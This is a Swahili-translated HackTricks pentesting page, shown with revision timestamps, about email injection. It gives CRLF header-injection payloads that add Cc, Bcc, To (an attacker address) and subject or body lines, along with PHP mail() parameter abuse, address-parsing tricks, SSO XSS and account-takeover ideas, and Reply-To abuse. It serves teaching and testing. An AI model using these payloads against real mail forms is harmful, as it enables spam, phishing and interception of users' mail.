hacktricks/pentesting-web/email-injections.md

171 lines
9.5 KiB
Markdown
Raw Normal View History

# Kuingiza Barua pepe
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia** mchakato wa kiotomatiki ulioendeshwa na zana za **jamii** za **juu kabisa** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
## Kuingiza kwenye barua pepe iliyotumwa
### Kuingiza Cc na Bcc baada ya hoja ya mtumaji
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Ujumbe utatumwa kwa akaunti za mpokeaji na mpokeaji1.
2024-02-11 02:13:58 +00:00
### Ingiza hoja
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Ujumbe utatumwa kwa mpokeaji wa awali na akaunti ya mshambuliaji.
2024-02-11 02:13:58 +00:00
### Ingiza hoja ya Mada
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Badilisha mwili wa ujumbe
Ingiza mstari wa mistari miwili, kisha andika ujumbe wako ili kubadilisha mwili wa ujumbe.
2021-11-27 01:09:08 +00:00
```
2024-02-11 02:13:58 +00:00
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Utekaji wa kazi ya kazi ya PHP mail()
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
2024-02-11 02:13:58 +00:00
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
#### Parameta ya 5 ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Sehemu hii itazingatia **jinsi ya kutumia parameta hii ikidhaniwa kuwa muhusika anaidhibiti**.
2021-11-27 01:09:08 +00:00
Parameta hii itaongezwa kwenye mstari wa amri PHP itakayotumia kuita programu ya kutuma barua pepe. Hata hivyo, itasafishwa na kazi `escapeshellcmd($additional_parameters)`.
2021-11-27 01:09:08 +00:00
Mtu mhalifu anaweza **kuingiza vipengele vya ziada kwa kutuma barua pepe** katika kesi hii.
2021-11-27 01:09:08 +00:00
2024-02-11 02:13:58 +00:00
#### Tofauti katika utekelezaji wa /usr/sbin/sendmail
2021-11-27 01:09:08 +00:00
**Kiolesura cha sendmail** kinatolewa na programu ya barua pepe ya MTA (Sendmail, Postfix, Exim n.k.) iliyosakinishwa kwenye mfumo. Ingawa **kazi msingi** (kama vile vipengele -t -i -f) inabaki **sawa** kwa sababu za utangamano, **kazi na vipengele vingine** hutofautiana sana kulingana na MTA iliyosakinishwa.
2021-11-27 01:09:08 +00:00
Hapa kuna mifano michache ya kurasa tofauti za mwongozo wa amri/kiolesura cha sendmail:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Kulingana na **asili ya sendmail** binary, chaguo tofauti zimegunduliwa kuzitumia na **kuvuja faili au hata kutekeleza amri za kupindukia**. Angalia jinsi ya kufanya hivyo katika [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
## Kuingiza kwenye jina la barua pepe
2022-12-29 12:18:46 +00:00
2024-02-11 02:13:58 +00:00
### Sehemu zilizopuuzwa za barua pepe
2022-12-29 12:18:46 +00:00
Alama: **+, -** na **{}** kwa nadra zinaweza kutumika kwa alama na kupuuzwa na seva nyingi za barua pepe
2022-12-29 12:18:46 +00:00
* K.m. john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2024-02-11 02:13:58 +00:00
**Maoni kati ya mabano ()** mwanzoni au mwishoni pia yatapuuzwa
2022-12-29 12:18:46 +00:00
* K.m. john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
### Kupitisha orodha nyeupe
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (4) (6).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2024-02-11 02:13:58 +00:00
### Alama za nukuu
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (6) (4).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### IPs
2024-02-11 02:13:58 +00:00
Unaweza pia kutumia IPs kama majina ya kikoa kati ya mabano ya mraba:
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Mapungufu mengine
2022-12-29 12:18:46 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (296).png>)
2022-12-29 12:18:46 +00:00
## SSO ya Mhusika wa Tatu
2022-12-29 12:18:46 +00:00
### XSS
Baadhi ya huduma kama **github** au **salesforce inaruhusu** kuunda **anwani ya barua pepe na mizigo ya XSS**. Ikiwa unaweza **tumia watoa huduma hawa kuingia kwenye huduma zingine** na huduma hizi **hazisafishi** barua pepe kwa usahihi, unaweza kusababisha **XSS**.
2022-12-29 12:18:46 +00:00
### Kuchukua-Utawala wa Akaunti
2022-12-29 12:18:46 +00:00
Ikiwa **huduma ya SSO** inaruhusu kuunda akaunti bila kuthibitisha anwani ya barua pepe iliyotolewa (kama **salesforce**) na kisha unaweza kutumia akaunti hiyo kuingia kwenye huduma tofauti inayoitumaini salesforce, unaweza kupata akaunti yoyote.\
_Taarifa kwamba salesforce inaonyesha ikiwa barua pepe iliyotolewa imehakikiwa au la, hivyo programu inapaswa kuzingatia habari hii._
2022-12-29 12:18:46 +00:00
2024-02-11 02:13:58 +00:00
## Jibu-Kwa
2022-12-29 12:18:46 +00:00
Unaweza kutuma barua pepe ukitumia _**Kutoka: kampuni.com**_ na _**Jibu-Kwa: muhusika.com**_ na ikiwa **jibu la moja kwa moja** litatumwa kwa sababu barua pepe ilitumwa **kutoka** kwa **anwani ya ndani** mhalifu anaweza **kupokea** jibu hilo.
2022-12-29 12:18:46 +00:00
## Kiwango cha Kupinga Kupokea
2022-12-29 12:18:46 +00:00
Huduma fulani, kama AWS, inatekeleza kizingiti kinachoitwa **Kiwango cha Kupinga Kupokea**, kawaida kikiwekwa kwa 10%. Hii ni takwimu muhimu, hasa kwa huduma za utoaji barua pepe. Wakati kiwango hiki kinapozidiwa, huduma, kama huduma ya barua pepe ya AWS, inaweza kusitisha au kuzuia.
2022-12-29 12:18:46 +00:00
**Kupinga kwa nguvu** kunahusu **barua pepe** ambayo imerudishwa kwa mtumaji kwa sababu anwani ya mpokeaji ni batili au haipo. Hii inaweza kutokea kwa sababu mbalimbali, kama vile barua pepe kutumwa kwa anwani isiyopo, kikoa kisichokuwepo, au kukataa kwa seva ya mpokeaji kukubali **barua pepe**.
2022-12-29 12:18:46 +00:00
Katika muktadha wa AWS, ikiwa unatuma barua pepe 1000 na 100 kati yao zinasababisha kupinga kwa nguvu (kutokana na sababu kama anwani batili au vikoa), hii itamaanisha kiwango cha kupinga kwa nguvu cha 10%. Kufikia au kuzidi kiwango hiki kunaweza kusababisha AWS SES (Huduma Rahisi ya Barua pepe) kuzuia au kusimamisha uwezo wako wa kutuma barua pepe.
2024-02-05 20:00:40 +00:00
Ni muhimu kudumisha kiwango cha chini cha kupinga kwa nguvu ili kuhakikisha huduma ya barua pepe isiyovurugwa na kudumisha sifa ya mtumaji. Kufuatilia na kusimamia ubora wa anwani za barua pepe kwenye orodha yako ya kutuma barua pepe kunaweza kusaidia sana katika kufanikisha hili.
2024-02-05 20:00:40 +00:00
Kwa habari zaidi, unaweza kurejelea hati rasmi ya AWS kuhusu kushughulikia kupinga na malalamiko kwenye [Kushughulikia Kupinga kwa AWS SES](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
2022-12-29 12:18:46 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-08-31 22:35:39 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii za juu zaidi duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}